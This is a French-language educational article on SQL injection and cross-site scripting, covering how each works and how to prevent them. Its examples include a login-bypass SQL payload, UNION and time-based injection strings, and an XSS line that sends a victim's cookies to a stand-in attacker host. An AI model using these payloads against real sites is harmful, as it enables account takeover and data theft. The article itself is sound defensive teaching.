Injection SQL et XSS : les failles web qui persistent depuis 25 ans
L'injection SQL et le Cross-Site Scripting figurent dans le top 10 OWASP depuis sa création. Pourquoi ces vulnérabilités existent-elles encore ? Comment fonctionnent-elles techniquement, et comment les éliminer ?
L’injection SQL a été décrite formellement pour la première fois en 1998. Le Cross-Site Scripting (XSS) l’a rejointe rapidement dans la liste des vulnérabilités les plus exploitées. Presque 30 ans plus tard, ces deux catégories figurent encore dans le Top 10 OWASP — la référence mondiale des vulnérabilités web les plus courantes et les plus dangereuses.
Pourquoi ces failles persistent-elles autant ? Et comment fonctionnent-elles concrètement ?
L’injection SQL
Le principe
Une application web interagit avec une base de données en envoyant des requêtes SQL. Normalement, ces requêtes sont construites par le développeur et les données utilisateur sont insérées à des emplacements prévus.
L’injection SQL survient quand les données utilisateur sont intégrées directement dans la requête SQL sans être correctement neutralisées. L’attaquant peut alors injecter du code SQL dans le champ prévu pour une donnée, modifiant la logique de la requête.
Un exemple concret
Formulaire de connexion classique. Le code côté serveur construit la requête ainsi :
SELECT * FROM utilisateurs
WHERE email = '$email' AND mot_de_passe = '$mdp'
L’attaquant entre comme email : admin@site.fr' --
La requête devient :
SELECT * FROM utilisateurs
WHERE email = 'admin@site.fr' --' AND mot_de_passe = '...'
Le -- est un commentaire SQL. Tout ce qui suit est ignoré — y compris la vérification du mot de passe. L’attaquant se connecte en tant qu’administrateur sans connaître le mot de passe.
Ce qu’un attaquant peut faire avec une injection SQL
Extraction de données : lire toutes les tables de la base — utilisateurs, mots de passe, données clients, données financières.
' UNION SELECT table_name, null FROM information_schema.tables --
Modification de données : mettre à jour des prix, changer des droits d’accès, altérer des enregistrements.
Suppression de données : DROP TABLE utilisateurs; si les privilèges le permettent.
Exécution de commandes système (selon la configuration et le moteur SQL) : sur certains serveurs MySQL ou MSSQL mal configurés, une injection SQL peut aboutir à l’exécution de commandes shell sur le serveur.
L’injection aveugle (Blind SQLi)
Quand l’application ne retourne pas directement les résultats de la requête, l’attaquant utilise des techniques dites “aveugles” :
Boolean-based : poser des questions dont la réponse vraie/fausse se traduit par un comportement observable de l’application (page différente, message d’erreur différent).
Time-based : injecter une fonction qui force un délai si une condition est vraie (IF(1=1, SLEEP(5), 0)). L’attaquant mesure le temps de réponse pour inférer des informations.
Ces techniques sont plus lentes mais permettent d’extraire des données même sans retour direct.
Des outils comme sqlmap automatisent complètement la détection et l’exploitation des injections SQL — un attaquant peut trouver et exploiter une vulnérabilité sans même comprendre le SQL.
La prévention : les requêtes préparées
La solution est simple et absolue : les requêtes préparées (ou parameterized queries). La structure de la requête est définie séparément des données. Le moteur SQL sait exactement ce qui est du code et ce qui est une donnée — l’injection devient impossible.
En PHP avec PDO :
$stmt = $pdo->prepare('SELECT * FROM utilisateurs WHERE email = ? AND mot_de_passe = ?');
$stmt->execute([$email, $mdp]);
En Python avec psycopg2 :
cursor.execute("SELECT * FROM utilisateurs WHERE email = %s AND mdp = %s", (email, mdp))
Jamais de concaténation de chaînes pour construire des requêtes SQL. Jamais.
Un ORM (Object-Relational Mapper) comme SQLAlchemy, Django ORM ou Hibernate utilise des requêtes préparées par défaut — à condition de ne pas contourner leurs protections en injectant des fragments SQL bruts.
Le principe du moindre privilège sur la base de données est complémentaire : le compte applicatif ne doit avoir que les droits stricts nécessaires à son fonctionnement. Si l’application ne fait que lire et écrire des données utilisateur, son compte SQL n’a pas besoin de pouvoir supprimer des tables ou exécuter des commandes système.
Le Cross-Site Scripting (XSS)
Le principe
Le XSS survient quand une application web intègre des données utilisateur dans une page HTML sans les encoder correctement. L’attaquant peut alors injecter du code JavaScript qui s’exécutera dans le navigateur d’autres utilisateurs — comme si ce code faisait partie du site légitime.
Les trois variantes
XSS réfléchi (reflected) : le payload malveillant est dans l’URL ou dans un paramètre de requête. Quand la victime clique sur un lien piégé, le serveur renvoie le payload dans la réponse et le navigateur l’exécute. Le code ne persiste pas sur le serveur.
XSS stocké (stored ou persistent) : le payload est enregistré en base de données (commentaire, champ de profil, message) et servi à tous les utilisateurs qui consultent la page. Plus dangereux car il ne nécessite pas que la victime clique sur un lien spécifique.
XSS basé sur le DOM (DOM-based) : le payload est traité par le JavaScript côté client sans passer par le serveur. Détectable uniquement côté client.
Ce qu’un attaquant peut faire avec du XSS
Vol de cookies de session :
document.location='https://attaquant.com/steal?c='+document.cookie;
Si le cookie de session n’a pas l’attribut HttpOnly, l’attaquant récupère le cookie et peut prendre en main la session de la victime sans connaître son mot de passe.
Keylogging : enregistrer toutes les frappes clavier de la victime sur le site compromis — y compris son mot de passe quand elle le retape.
Phishing contextuel : injecter un faux formulaire de connexion dans la page légitime. La victime est sur le vrai site (barre d’adresse correcte), mais entre ses credentials dans un formulaire contrôlé par l’attaquant.
Redirection et téléchargement malveillant : rediriger vers un site de phishing ou déclencher le téléchargement d’un fichier malveillant.
BeEF (Browser Exploitation Framework) : framework d’attaque qui, une fois un XSS exploité, permet de piloter le navigateur de la victime à distance et d’enchaîner d’autres exploits.
La prévention
Encodage en sortie (output encoding) : tout contenu utilisateur affiché dans HTML doit être encodé. Les caractères spéciaux HTML (<, >, &, ", ') sont remplacés par leurs entités HTML (<, >, etc.). Un <script> devient <script> — du texte inoffensif affiché tel quel, pas du code exécuté.
La règle : encoder selon le contexte de sortie (HTML, attribut HTML, JavaScript, CSS, URL ont chacun leurs règles d’encodage).
Content Security Policy (CSP) : en-tête HTTP qui spécifie quelles sources de scripts sont autorisées. Un CSP strict bloque l’exécution de tout script inline et de tout script provenant d’un domaine non listé — limitant drastiquement l’impact d’un XSS.
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.exemple.fr;
Attributs de cookies :
HttpOnly: le cookie n’est pas accessible via JavaScript (document.cookie)Secure: le cookie n’est transmis que sur des connexions HTTPSSameSite=StrictouLax: limite l’envoi du cookie dans des contextes cross-site
Validation côté serveur : ne jamais faire confiance aux données entrantes. Valider le format, la longueur, le type. Rejeter ce qui ne correspond pas aux attentes — pas seulement nettoyer (sanitize) ce qui est suspect.
Pourquoi ces vulnérabilités persistent
Ces deux failles partagent la même cause fondamentale : la confusion entre données et code. Les données utilisateur sont interprétées comme des instructions — SQL pour l’injection, JavaScript pour le XSS.
Elles persistent pour plusieurs raisons :
- Code legacy : des applications développées avant la généralisation des bonnes pratiques, maintenues sans refactoring de sécurité
- Méconnaissance : des développeurs qui ne connaissent pas les risques ou qui font confiance à des frameworks sans comprendre où les protections s’appliquent
- Exceptions et contournements : un ORM qui protège 95 % du code, mais une requête SQL brute écrite “exceptionnellement” pour un cas particulier
- Complexité de l’encodage : le bon encodage dépend du contexte de sortie — une erreur dans un cas particulier suffit
Les outils d’analyse statique (SAST) comme SonarQube, les scanners de vulnérabilités web (DAST) comme OWASP ZAP ou Burp Suite, et les revues de code de sécurité permettent de détecter ces failles avant qu’elles ne soient exploitées.
L’injection SQL et le XSS ne sont pas des vulnérabilités sophistiquées — elles résultent d’erreurs de conception documentées et évitables. Les protections existent, sont bien connues, et sont intégrées aux frameworks modernes. Le problème est leur application systématique, sans exceptions, sur la totalité du code.
Sources : OWASP Top 10 2021 ; OWASP Testing Guide ; SANS CWE/SANS Top 25 Software Errors ; documentation ANSSI sur la sécurité des développements web.